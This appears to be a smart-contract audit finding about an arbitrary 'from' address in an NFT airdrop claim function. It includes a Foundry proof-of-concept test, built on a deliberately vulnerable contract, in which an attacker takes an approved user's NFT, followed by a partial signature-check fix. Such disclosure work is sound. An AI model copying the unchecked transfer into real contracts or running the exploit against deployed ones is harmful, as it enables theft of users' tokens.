The contract allows an arbitrary receiver address to be passed as the from parameter in safeTransferFrom, enabling an attacker to transfer NFTs from any address that has approved the contract, resulting in unauthorized NFT loss.
I made my own test file and created three contracts with embedded functions to test this vulnerability. Add this to a test file and run: forge test --match-test testExploitArbitraryFrom -vvvv.
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract SnowNFT is ERC721 {
constructor() ERC721("SnowNFT", "SNFT") {}
function mint(address to, uint256 tokenId) external {
_mint(to, tokenId);
}
}
contract SnowmanAirdrop is IERC721Receiver {
IERC721 public i_snow;
bytes32 public merkleRoot;
address public authorizedSigner;
constructor(IERC721 _snow, bytes32 _merkleRoot, address _signer) {
i_snow = _snow;
merkleRoot = _merkleRoot;
authorizedSigner = _signer;
}
function claimAirdrop(address receiver, uint256 tokenId, bytes32[] calldata merkleProof, bytes calldata signature) external {
bytes32 leaf = keccak256(abi.encodePacked(receiver, tokenId));
require(MerkleProof.verify(merkleProof, merkleRoot, leaf), "Invalid Merkle proof");
i_snow.safeTransferFrom(receiver, address(this), tokenId);
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
contract SnowmanAirdropExploitTest is Test {
SnowNFT snowNFT;
SnowmanAirdrop airdrop;
address userA = address(0x1234);
address attacker = address(0x5678);
address deployer = address(this);
bytes32 merkleRoot;
uint256 tokenId = 1;
function generateMerkleProof(address receiver, uint256 _tokenId) internal pure returns (bytes32, bytes32[] memory) {
bytes32 leaf = keccak256(abi.encodePacked(receiver, _tokenId));
return (leaf, new bytes32[](0));
}
function setUp() public {
snowNFT = new SnowNFT();
snowNFT.mint(userA, tokenId);
(bytes32 leaf, ) = generateMerkleProof(userA, tokenId);
merkleRoot = leaf;
airdrop = new SnowmanAirdrop(snowNFT, merkleRoot, deployer);
vm.prank(userA);
snowNFT.approve(address(airdrop), tokenId);
}
function testExploitArbitraryFrom() public {
address ownerBefore = snowNFT.ownerOf(tokenId);
assertEq(ownerBefore, userA, "User A should own token before exploit");
(, bytes32[] memory proof) = generateMerkleProof(userA, tokenId);
vm.prank(attacker);
airdrop.claimAirdrop(userA, tokenId, proof, "");
address ownerAfter = snowNFT.ownerOf(tokenId);
assertEq(ownerAfter, address(airdrop), "Contract should own token after exploit");
}
}
Verify that the caller is authorized to claim for the receiver.
function claimSnowman(address receiver, uint256 tokenId, bytes32[] calldata merkleProof, bytes calldata signature) external {
bytes32 leaf = keccak256(abi.encodePacked(receiver, tokenId));
require(MerkleProof.verify(merkleProof, merkleRoot, leaf), "Invalid Merkle proof");
+ address signer = recoverSigner(keccak256(abi.encodePacked(receiver, tokenId, msg.sender)), signature);
+ require(signer == authorizedSigner || signer == receiver, "Invalid signature");
}